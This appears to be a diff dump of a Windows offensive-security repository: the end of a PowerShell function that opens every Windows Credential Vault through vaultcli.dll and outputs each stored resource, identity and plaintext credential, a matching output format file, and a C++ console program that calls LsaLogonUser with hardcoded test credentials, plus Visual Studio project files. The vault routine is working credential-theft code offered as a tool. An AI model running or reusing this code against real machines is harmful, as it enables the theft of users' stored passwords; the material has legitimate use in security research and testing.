||||
}
|
||||
else
|
||||
{
|
||||
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultGetItem',
|
||||
'vaultcli.dll',
|
||||
'Public, Static',
|
||||
[Reflection.CallingConventions]::Standard,
|
||||
[Int32],
|
||||
[Type[]] @([IntPtr],
|
||||
[Guid].MakeByRefType(),
|
||||
[IntPtr],
|
||||
[IntPtr],
|
||||
[IntPtr],
|
||||
[Int32],
|
||||
[IntPtr].MakeByRefType()),
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
[Runtime.InteropServices.CharSet]::Auto)
|
||||
}
|
||||
|
||||
$Vaultcli = $TypeBuilder.CreateType()
|
||||
#endregion
|
||||
|
||||
# Helper function to extract the ItemValue field from a VAULT_ITEM_ELEMENT struct.
|
||||
function local:Get-VaultElementValue
|
||||
{
|
||||
Param (
|
||||
[ValidateScript({$_ -ne [IntPtr]::Zero})]
|
||||
[IntPtr]
|
||||
$VaultElementPtr
|
||||
)
|
||||
|
||||
$PartialElement = [Runtime.InteropServices.Marshal]::PtrToStructure($VaultElementPtr, [Type] $VAULT_ITEM_ELEMENT)
|
||||
$ElementPtr = [IntPtr] ($VaultElementPtr.ToInt64() + 16)
|
||||
|
||||
switch ($PartialElement.Type)
|
||||
{
|
||||
$VAULT_ELEMENT_TYPE::String {
|
||||
$StringPtr = [Runtime.InteropServices.Marshal]::ReadIntPtr([IntPtr] $ElementPtr)
|
||||
[Runtime.InteropServices.Marshal]::PtrToStringUni([IntPtr] $StringPtr)
|
||||
}
|
||||
|
||||
$VAULT_ELEMENT_TYPE::Boolean {
|
||||
[Bool] [Runtime.InteropServices.Marshal]::ReadByte([IntPtr] $ElementPtr)
|
||||
}
|
||||
|
||||
$VAULT_ELEMENT_TYPE::Short {
|
||||
[Runtime.InteropServices.Marshal]::ReadInt16([IntPtr] $ElementPtr)
|
||||
}
|
||||
|
||||
$VAULT_ELEMENT_TYPE::UnsignedShort {
|
||||
[Runtime.InteropServices.Marshal]::ReadInt16([IntPtr] $ElementPtr)
|
||||
}
|
||||
|
||||
$VAULT_ELEMENT_TYPE::Int {
|
||||
[Runtime.InteropServices.Marshal]::ReadInt32([IntPtr] $ElementPtr)
|
||||
}
|
||||
|
||||
$VAULT_ELEMENT_TYPE::UnsignedInt {
|
||||
[Runtime.InteropServices.Marshal]::ReadInt32([IntPtr] $ElementPtr)
|
||||
}
|
||||
|
||||
$VAULT_ELEMENT_TYPE::Double {
|
||||
[Runtime.InteropServices.Marshal]::PtrToStructure($ElementPtr, [Type] [Double])
|
||||
}
|
||||
|
||||
$VAULT_ELEMENT_TYPE::Guid {
|
||||
[Runtime.InteropServices.Marshal]::PtrToStructure($ElementPtr, [Type] [Guid])
|
||||
}
|
||||
|
||||
$VAULT_ELEMENT_TYPE::Sid {
|
||||
$SidPtr = [Runtime.InteropServices.Marshal]::ReadIntPtr([IntPtr] $ElementPtr)
|
||||
Write-Verbose "0x$($SidPtr.ToString('X8'))"
|
||||
$SidObject = [Security.Principal.SecurityIdentifier] ([IntPtr] $SidPtr)
|
||||
$SidObject.Value
|
||||
}
|
||||
|
||||
# These elements are currently unimplemented.
|
||||
# I have yet to see these used in practice.
|
||||
$VAULT_ELEMENT_TYPE::ByteArray { $null }
|
||||
$VAULT_ELEMENT_TYPE::TimeStamp { $null }
|
||||
$VAULT_ELEMENT_TYPE::ProtectedArray { $null }
|
||||
$VAULT_ELEMENT_TYPE::Attribute { $null }
|
||||
$VAULT_ELEMENT_TYPE::Last { $null }
|
||||
}
|
||||
}
|
||||
|
||||
$VaultCount = 0
|
||||
$VaultGuidPtr = [IntPtr]::Zero
|
||||
$Result = $Vaultcli::VaultEnumerateVaults(0, [Ref] $VaultCount, [Ref] $VaultGuidPtr)
|
||||
|
||||
if ($Result -ne 0)
|
||||
{
|
||||
throw "Unable to enumerate vaults. Error (0x$($Result.ToString('X8')))"
|
||||
}
|
||||
|
||||
$GuidAddress = $VaultGuidPtr
|
||||
|
||||
$VaultSchema = @{
|
||||
([Guid] '2F1A6504-0641-44CF-8BB5-3612D865F2E5') = 'Windows Secure Note'
|
||||
([Guid] '3CCD5499-87A8-4B10-A215-608888DD3B55') = 'Windows Web Password Credential'
|
||||
([Guid] '154E23D0-C644-4E6F-8CE6-5069272F999F') = 'Windows Credential Picker Protector'
|
||||
([Guid] '4BF4C442-9B8A-41A0-B380-DD4A704DDB28') = 'Web Credentials'
|
||||
([Guid] '77BC582B-F0A6-4E15-4E80-61736B6F3B29') = 'Windows Credentials'
|
||||
([Guid] 'E69D7838-91B5-4FC9-89D5-230D4D4CC2BC') = 'Windows Domain Certificate Credential'
|
||||
([Guid] '3E0E35BE-1B77-43E7-B873-AED901B6275B') = 'Windows Domain Password Credential'
|
||||
([Guid] '3C886FF3-2669-4AA2-A8FB-3F6759A77548') = 'Windows Extended Credential'
|
||||
([Guid] '00000000-0000-0000-0000-000000000000') = $null
|
||||
}
|
||||
|
||||
if ($VaultCount)
|
||||
{
|
||||
foreach ($i in 1..$VaultCount)
|
||||
{
|
||||
$VaultGuid = [Runtime.InteropServices.Marshal]::PtrToStructure($GuidAddress, [Type] [Guid])
|
||||
$GuidAddress = [IntPtr] ($GuidAddress.ToInt64() + [Runtime.InteropServices.Marshal]::SizeOf([Type] [Guid]))
|
||||
|
||||
$VaultHandle = [IntPtr]::Zero
|
||||
|
||||
Write-Verbose "Opening vault - $($VaultSchema[$VaultGuid]) ($($VaultGuid))"
|
||||
|
||||
$Result = $Vaultcli::VaultOpenVault([Ref] $VaultGuid, 0, [Ref] $VaultHandle)
|
||||
|
||||
if ($Result -ne 0)
|
||||
{
|
||||
Write-Error "Unable to open the following vault: $($VaultSchema[$VaultGuid]). Error (0x$($Result.ToString('X8')))"
|
||||
continue
|
||||
}
|
||||
|
||||
$VaultItemCount = 0
|
||||
$VaultItemPtr = [IntPtr]::Zero
|
||||
|
||||
$Result = $Vaultcli::VaultEnumerateItems($VaultHandle, 512, [Ref] $VaultItemCount, [Ref] $VaultItemPtr)
|
||||
|
||||
if ($Result -ne 0)
|
||||
{
|
||||
$null = $Vaultcli::VaultCloseVault([Ref] $VaultHandle)
|
||||
Write-Error "Unable to enumerate vault items from the following vault: $($VaultSchema[$VaultGuid]). Error (0x$($Result.ToString('X8')))"
|
||||
continue
|
||||
}
|
||||
|
||||
$StructAddress = $VaultItemPtr
|
||||
|
||||
if ($VaultItemCount)
|
||||
{
|
||||
foreach ($j in 1..$VaultItemCount)
|
||||
{
|
||||
$CurrentItem = [Runtime.InteropServices.Marshal]::PtrToStructure($StructAddress, [Type] $VAULT_ITEM)
|
||||
$StructAddress = [IntPtr] ($StructAddress.ToInt64() + [Runtime.InteropServices.Marshal]::SizeOf([Type] $VAULT_ITEM))
|
||||
|
||||
$PasswordVaultItem = [IntPtr]::Zero
|
||||
|
||||
if ($OSVersion -ge '6.2')
|
||||
{
|
||||
$Result = $Vaultcli::VaultGetItem($VaultHandle,
|
||||
[Ref] $CurrentItem.SchemaId,
|
||||
$CurrentItem.pResourceElement,
|
||||
$CurrentItem.pIdentityElement,
|
||||
$CurrentItem.pPackageSid,
|
||||
[IntPtr]::Zero,
|
||||
0,
|
||||
[Ref] $PasswordVaultItem)
|
||||
}
|
||||
else
|
||||
{
|
||||
$Result = $Vaultcli::VaultGetItem($VaultHandle,
|
||||
[Ref] $CurrentItem.SchemaId,
|
||||
$CurrentItem.pResourceElement,
|
||||
$CurrentItem.pIdentityElement,
|
||||
[IntPtr]::Zero,
|
||||
0,
|
||||
[Ref] $PasswordVaultItem)
|
||||
}
|
||||
|
||||
$PasswordItem = $null
|
||||
|
||||
if ($Result -ne 0)
|
||||
{
|
||||
Write-Error "Error occured retrieving vault item. Error (0x$($Result.ToString('X8')))"
|
||||
continue
|
||||
}
|
||||
else
|
||||
{
|
||||
$PasswordItem = [Runtime.InteropServices.Marshal]::PtrToStructure($PasswordVaultItem, [Type] $VAULT_ITEM)
|
||||
}
|
||||
|
||||
if ($VaultSchema.ContainsKey($VaultGuid))
|
||||
{
|
||||
$VaultType = $VaultSchema[$VaultGuid]
|
||||
}
|
||||
else
|
||||
{
|
||||
$VaultType = $VaultGuid
|
||||
}
|
||||
|
||||
if ($PasswordItem.pAuthenticatorElement -ne [IntPtr]::Zero)
|
||||
{
|
||||
$Credential = Get-VaultElementValue $PasswordItem.pAuthenticatorElement
|
||||
}
|
||||
else
|
||||
{
|
||||
$Credential = $null
|
||||
}
|
||||
|
||||
$PackageSid = $null
|
||||
|
||||
if ($CurrentItem.pPackageSid -and ($CurrentItem.pPackageSid -ne [IntPtr]::Zero))
|
||||
{
|
||||
$PackageSid = Get-VaultElementValue $CurrentItem.pPackageSid
|
||||
}
|
||||
|
||||
|
||||
$Properties = @{
|
||||
Vault = $VaultType
|
||||
Resource = if ($CurrentItem.pResourceElement) { Get-VaultElementValue $CurrentItem.pResourceElement } else { $null }
|
||||
Identity = if ($CurrentItem.pIdentityElement) { Get-VaultElementValue $CurrentItem.pIdentityElement } else { $null }
|
||||
PackageSid = $PackageSid
|
||||
Credential = $Credential
|
||||
LastModified = [DateTime]::FromFileTimeUtc($CurrentItem.LastModified)
|
||||
}
|
||||
|
||||
$VaultItem = New-Object PSObject -Property $Properties
|
||||
$VaultItem.PSObject.TypeNames[0] = 'VAULTCLI.VAULTITEM'
|
||||
|
||||
$VaultItem
|
||||
|
||||
$null = $Vaultcli::VaultFree($PasswordVaultItem)
|
||||
}
|
||||
}
|
||||
|
||||
$null = $Vaultcli::VaultCloseVault([Ref] $VaultHandle)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
<?xml version="1.0" encoding="utf-8" ?>
|
||||
<Configuration>
|
||||
<ViewDefinitions>
|
||||
<View>
|
||||
<Name>VaultItemView</Name>
|
||||
<ViewSelectedBy>
|
||||
<TypeName>VAULTCLI.VAULTITEM</TypeName>
|
||||
</ViewSelectedBy>
|
||||
<ListControl>
|
||||
<ListEntries>
|
||||
<ListEntry>
|
||||
<ListItems>
|
||||
<ListItem>
|
||||
<PropertyName>Vault</PropertyName>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<PropertyName>Resource</PropertyName>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<PropertyName>Identity</PropertyName>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<PropertyName>Credential</PropertyName>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<PropertyName>PackageSid</PropertyName>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<PropertyName>LastModified</PropertyName>
|
||||
</ListItem>
|
||||
</ListItems>
|
||||
</ListEntry>
|
||||
</ListEntries>
|
||||
</ListControl>
|
||||
</View>
|
||||
</ViewDefinitions>
|
||||
</Configuration>
|
||||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,26 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio 2012
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "logon", "logon\logon.vcxproj", "{D248AC1C-B831-42AE-835A-1B98B2BF9DF3}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Win32 = Debug|Win32
|
||||
Debug|x64 = Debug|x64
|
||||
Release|Win32 = Release|Win32
|
||||
Release|x64 = Release|x64
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||
{D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Debug|Win32.Build.0 = Debug|Win32
|
||||
{D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Debug|x64.Build.0 = Debug|x64
|
||||
{D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Release|Win32.ActiveCfg = Release|Win32
|
||||
{D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Release|Win32.Build.0 = Release|Win32
|
||||
{D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Release|x64.ActiveCfg = Release|x64
|
||||
{D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Release|x64.Build.0 = Release|x64
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1,137 @@
|
||||
// LogonUser.cpp : Defines the entry point for the console application.
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
|
||||
using namespace std;
|
||||
|
||||
size_t wcsByteLen( const wchar_t* str );
|
||||
void InitUnicodeString( UNICODE_STRING& str, const wchar_t* value, BYTE* buffer, size_t& offset );
|
||||
PVOID CreateNtlmLogonStructure(wstring domain, wstring username, wstring password, DWORD* size);
|
||||
size_t WriteUnicodeString(wstring str, UNICODE_STRING* uniStr, PVOID baseAddress, size_t offset);
|
||||
|
||||
int _tmain(int argc, _TCHAR* argv[])
|
||||
{
|
||||
//Get a handle to LSA
|
||||
HANDLE hLSA = NULL;
|
||||
NTSTATUS status = LsaConnectUntrusted(&hLSA);
|
||||
if (status != 0)
|
||||
{
|
||||
cout << "Error calling LsaConnectUntrusted. Error code: " << status << endl;
|
||||
return -1;
|
||||
}
|
||||
if (hLSA == NULL)
|
||||
{
|
||||
cout << "hLSA is NULL, this shouldn't ever happen" << endl;
|
||||
return -1;
|
||||
}
|
||||
|
||||
//Build LsaLogonUser parameters
|
||||
LSA_STRING originName = {};
|
||||
char originNameStr[] = "qpqp";
|
||||
originName.Buffer = originNameStr;
|
||||
originName.Length = (USHORT)strlen(originNameStr);
|
||||
originName.MaximumLength = originName.Length;
|
||||
|
||||
ULONG authPackage = 0;
|
||||
PLSA_STRING authPackageName = new LSA_STRING();
|
||||
char authPackageBuf[] = MSV1_0_PACKAGE_NAME;
|
||||
authPackageName->Buffer = authPackageBuf;
|
||||
authPackageName->Length = (USHORT)strlen(authPackageBuf);
|
||||
authPackageName->MaximumLength = (USHORT)strlen(authPackageBuf);
|
||||
status = LsaLookupAuthenticationPackage(hLSA, authPackageName, &authPackage);
|
||||
if (status != 0)
|
||||
{
|
||||
int winError = LsaNtStatusToWinError(status);
|
||||
cout << "Call to LsaLookupAuthenticationPackage failed. Error code: " << winError;
|
||||
return -1;
|
||||
}
|
||||
|
||||
DWORD authBufferSize = 0;
|
||||
PVOID authBuffer = CreateNtlmLogonStructure(L"VMWORKSTATION", L"testuser", L"Password1", &authBufferSize);
|
||||
cout << "authBufferSize: " << authBufferSize << endl;
|
||||
|
||||
//Get TokenSource
|
||||
HANDLE hProcess = GetCurrentProcess();//todo
|
||||
HANDLE procToken = NULL;
|
||||
BOOL success = OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &procToken);
|
||||
if (!success)
|
||||
{
|
||||
DWORD errorCode = GetLastError();
|
||||
cout << "Call to OpenProcessToken failed. Errorcode: " << errorCode << endl;
|
||||
return -1;
|
||||
}
|
||||
|
||||
TOKEN_SOURCE tokenSource = {};
|
||||
DWORD realSize = 0;
|
||||
success = GetTokenInformation(procToken, TokenSource, &tokenSource, sizeof(tokenSource), &realSize);
|
||||
if (!success)
|
||||
{
|
||||
cout << "Call to GetTokenInformation failed." << endl;
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
//Misc
|
||||
PVOID profileBuffer = NULL;
|
||||
ULONG profileBufferSize = 0;
|
||||
LUID loginId;
|
||||
HANDLE token = NULL;
|
||||
QUOTA_LIMITS quotaLimits;
|
||||
NTSTATUS subStatus = 0;
|
||||
|
||||
status = LsaLogonUser(hLSA,
|
||||
&originName,
|
||||
RemoteInteractive,
|
||||
authPackage,
|
||||
authBuffer,
|
||||
authBufferSize,
|
||||
0,
|
||||
&tokenSource,
|
||||
&profileBuffer,
|
||||
&profileBufferSize,
|
||||
&loginId,
|
||||
&token,
|
||||
"aLimits,
|
||||
&subStatus);
|
||||
|
||||
if (status != 0)
|
||||
{
|
||||
NTSTATUS winError = LsaNtStatusToWinError(status);
|
||||
cout << "Error calling LsaLogonUser. Error code: " << winError << endl;
|
||||
return -1;
|
||||
}
|
||||
|
||||
cout << "Success!" << endl;
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
//size will be set to the size of the structure created
|
||||
PVOID CreateNtlmLogonStructure(wstring domain, wstring username, wstring password, DWORD* size)
|
||||
{
|
||||
size_t wcharSize = sizeof(wchar_t);
|
||||
|
||||
size_t totalSize = sizeof(MSV1_0_INTERACTIVE_LOGON) + ((domain.length() + username.length() + password.length()) * wcharSize);
|
||||
MSV1_0_INTERACTIVE_LOGON* ntlmLogon = (PMSV1_0_INTERACTIVE_LOGON)(new BYTE[totalSize]);
|
||||
size_t offset = sizeof(MSV1_0_INTERACTIVE_LOGON);
|
||||
|
||||
ntlmLogon->MessageType = MsV1_0InteractiveLogon;
|
||||
offset += WriteUnicodeString(domain, &(ntlmLogon->LogonDomainName), ntlmLogon, offset);
|
||||
offset += WriteUnicodeString(username, &(ntlmLogon->UserName), ntlmLogon, offset);
|
||||
offset += WriteUnicodeString(password, &(ntlmLogon->Password), ntlmLogon, offset);
|
||||
|
||||
*size = (DWORD)totalSize; //If the size is bigger than a DWORD, there is a gigantic bug somewhere.
|
||||
return ntlmLogon;
|
||||
}
|
||||
|
||||
size_t WriteUnicodeString(wstring str, UNICODE_STRING* uniStr, PVOID baseAddress, size_t offset)
|
||||
{
|
||||
const wchar_t* buffer = str.c_str();
|
||||
size_t size = str.length() * sizeof(wchar_t);
|
||||
uniStr->Length = (USHORT)size;
|
||||
uniStr->MaximumLength = (USHORT)size;
|
||||
uniStr->Buffer = (PWSTR)((UINT_PTR)baseAddress + offset);
|
||||
memcpy((PVOID)((UINT_PTR)baseAddress + offset), str.c_str(), size);
|
||||
return size;
|
||||
}
|
||||
@@ -0,0 +1,158 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{F9DC2AAF-2213-4D87-9F52-283DA1CC6E18}</ProjectGuid>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<RootNamespace>LogonUser</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v110</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v110</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v110</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v110</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<Text Include="ReadMe.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="stdafx.h" />
|
||||
<ClInclude Include="targetver.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="LogonUser.cpp" />
|
||||
<ClCompile Include="stdafx.cpp">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,36 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Text Include="ReadMe.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="stdafx.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="targetver.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="stdafx.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="LogonUser.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,40 @@
|
||||
========================================================================
|
||||
CONSOLE APPLICATION : LogonUser Project Overview
|
||||
========================================================================
|
||||
|
||||
AppWizard has created this LogonUser application for you.
|
||||
|
||||
This file contains a summary of what you will find in each of the files that
|
||||
make up your LogonUser application.
|
||||
|
||||
|
||||
LogonUser.vcxproj
|
||||
This is the main project file for VC++ projects generated using an Application Wizard.
|
||||
It contains information about the version of Visual C++ that generated the file, and
|
||||
information about the platforms, configurations, and project features selected with the
|
||||
Application Wizard.
|
||||
|
||||
LogonUser.vcxproj.filters
|
||||
